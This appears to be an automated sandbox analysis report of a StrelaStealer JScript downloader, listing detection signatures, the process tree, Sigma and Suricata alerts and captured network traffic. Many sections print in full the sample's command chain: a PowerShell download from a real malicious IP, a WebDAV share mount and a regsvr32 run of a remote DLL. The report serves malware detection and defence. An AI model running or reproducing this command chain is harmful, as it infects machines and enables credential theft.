Edit tour

Windows Analysis Report
1468330663299317031.js

Overview

General Information

Sample name:	1468330663299317031.js
Analysis ID:	1588835
MD5:	6b5151790f2bbedb96e98075f8b7c7f6
SHA1:	6e9fd75a80e7c79595af3dbc9ccb68029a48e610
SHA256:	f94799259412360b70a5248066b3b072701f87cecef2fd9e62c259457bba4eea
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5860 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1468330663299317031.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7120 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6776 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7336 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7588 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7832 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2168 --field-trial-handle=1656,i,6352309101716674545,11052300597964623030,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7352 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7456 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7656 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5860	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7120, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6776, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7120, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6776, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1468330663299317031.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1468330663299317031.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1468330663299317031.js", ProcessId: 5860, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7456, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49701

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1468330663299317031.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5860, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, ProcessId: 7120, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1468330663299317031.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5860, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, ProcessId: 7120, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1468330663299317031.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5860, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, ProcessId: 7120, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1468330663299317031.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5860, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, ProcessId: 7120, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1468330663299317031.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5860, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, ProcessId: 7120, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1468330663299317031.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5860, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, ProcessId: 7120, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1468330663299317031.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1468330663299317031.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1468330663299317031.js", ProcessId: 5860, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7120, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6776, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7352, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7456, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7656, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7352, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7456, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1468330663299317031.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5860, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, ProcessId: 7120, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:07:51.577558+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.7	49700	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:07:54.324159+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49701	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:07:51.577558+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49700	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 1468330663299317031.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1468330663299317031.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1468330663299317031.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49701 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.7:49700 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:07:51 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 